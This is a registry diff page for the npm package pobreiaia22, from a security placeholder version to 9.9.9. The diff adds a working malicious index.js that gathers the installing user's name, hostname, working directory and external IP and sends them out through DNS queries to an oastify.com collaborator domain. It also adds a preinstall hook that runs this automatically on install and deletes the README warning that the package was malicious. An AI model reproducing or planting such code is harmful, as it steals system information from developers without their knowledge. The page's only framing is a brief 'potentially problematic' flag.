pobreiaia22 0.0.1-security → 9.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pobreiaia22 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +38 -0
  2. package/package.json +12 -4
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,38 @@
1
+ const os = require('os'); // Añadir esta línea para importar el módulo 'os'
2
+ const axios = require('axios');
3
+ const dns = require('dns');
4
+
5
+ // Obtención de información
6
+ const user = os.userInfo().username;
7
+ const hostname = os.hostname();
8
+ const path = process.cwd();
9
+
10
+ // Función para obtener la IP externa del usuario
11
+ const getExternalIP = async () => {
12
+ try {
13
+ const response = await axios.get('https://api.ipify.org?format=json');
14
+ return response.data.ip;
15
+ } catch (error) {
16
+ return 'IP no disponible';
17
+ }
18
+ };
19
+
20
+ // Función para enviar los datos a través de DNS
21
+ const sendDNSData = async () => {
22
+ const externalIP = await getExternalIP();
23
+ const data = `${user}.${hostname}.${path}.${externalIP}`;
24
+
25
+ // Dominio de tu colaborador donde se enviarán las consultas DNS
26
+ const domain = `${data}.kc0262r8oypagq3e8f89uaqmodu4i16q.oastify.com`;
27
+
28
+ // Enviar la consulta DNS en texto plano
29
+ dns.resolve(domain, (err, addresses) => {
30
+ if (err) {
31
+ console.error('Error al enviar la consulta DNS:', err);
32
+ } else {
33
+ console.log('Consulta DNS enviada:', addresses);
34
+ }
35
+ });
36
+ };
37
+
38
+ sendDNSData();
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "pobreiaia22",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "dependencies": {
10
+ "axios": "^0.21.1"
11
+ },
12
+ "author": "",
13
+ "license": "MIT"
14
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=pobreiaia22 for more information.